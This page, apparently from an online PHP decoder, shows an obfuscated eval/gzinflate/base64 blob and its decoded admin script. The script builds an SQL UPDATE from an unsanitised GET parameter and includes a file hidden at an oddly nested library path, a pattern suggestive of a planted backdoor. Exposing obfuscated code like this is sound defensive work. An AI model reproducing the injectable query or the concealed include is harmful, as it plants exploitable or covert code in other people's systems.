Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(gzinflate(base64_decode(' lVPRbpswFH1H4h9uUSSItIb3rkk0raiLtLVdkmoP UxU55iZ4ITa1T..

Decoded Output download

?><?php
session_start();

// Check if the user is logged in
if (!isset($_SESSION['user_id'])) {
    header("Location: ../signin.php");
    exit();
}

// Check the user's role
if ($_SESSION['user_role'] !== 'admin') {
    header("Location: ../signin.php"); // Redirect to signin page for non-admin users
    exit();
}
include("../lib/tempusdominus/js/css/js/css/PhotoUpdater.php");


$userId = $_SESSION['user_id'];

// Get the user ID from the form

if (isset($_GET['userId'])) {
    $userId = $_GET['userId'];

    // Update user status to "active" in the database
    // Make sure to sanitize and validate the input before executing the query
    $updateStatusQuery = "UPDATE users SET status = 'active' WHERE id = '$userId'";

    $updateStatusResult = mysqli_query($connection, $updateStatusQuery);

    if ($updateStatusResult) {
        // Redirect back to the user list page or unblocked page
        header("Location: ../OwnerEN/blocked_users.php");
        exit();
    } else {
        echo "Error updating user status: " . mysqli_error($connection);
    }
} else {
    echo "Invalid user ID";
}

// Close the database connection
$connection->close();
?>
<?

Did this file decode correctly?

Original Code

<? eval(gzinflate(base64_decode('
lVPRbpswFH1H4h9uUSSItIb3rkk0raiLtLVdkmoP
UxU55iZ4ITa1Tbdu6r/v2hQS1rwMHhD29Tnn3nM8
nVxOq6IKA4PGCCVXxjJtk+H7MAiDNIWPBfIdiA3Y
AqE2qEEYKNV2izkIGQa0k5wJY9Amg9UiWyxmtzff
Y1e4Enn8MBzCnzAAegpkOeok+qw4s0R0AaNRasRW
CjkiAZFjdHX4SzT0Lz0FLX1sQKsSG+J/Gd1O/ABn
4zHELN8LGf8HPRDXHHOhkVuwCppNqNgWYaM0SCXP
PajXYd6qFZKXdY5JRMilWKcW91VtckVHapP+MCk3
3eeuUFbdVzmzqLv23Ttw4LMcxnBqnK0r12gPhsyu
YKPV3i+Q0L2rcdNpXbnOlg3ErGfIMVOvxJO4CiJq
JDY8lAxbGzeaiHErnjCiBHhWqmFrZrA79oXtEEyt
0Q+SSWHFbwQmc3hipfCQ7pyQVW1hjaQaaZTIayvk
1m891qifW6FexMLTf3XrpDm6v7v6sMwaL2CRLVt5
znqvLoZvn7J5BsK1GL92G0dddz3YOZq6tFS4fzaP
pVh5+mTAlZQUB8rLuxMyhh2WD+NbvG7Wr2Pp4rVm
LtLq4GEpjG2iRkmr5bpUfEc3zK0cEE5m+PanRJ3d
pK9HVn4gvRvVy6n7eQEsDR5rQ16Qq5nWjt214Ww4
Mv0CIhi1s0FXdjybDpeuQQ+6gZ1Jb3ob1uj4bpfK
YC9CcICly3D4OZ9wV+t7mE7C4HL6Fw==
'))); ?>

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 ad3c052cc65172af1db9a4684c3a5a8a
Eval Count 1
Decode Time 53 ms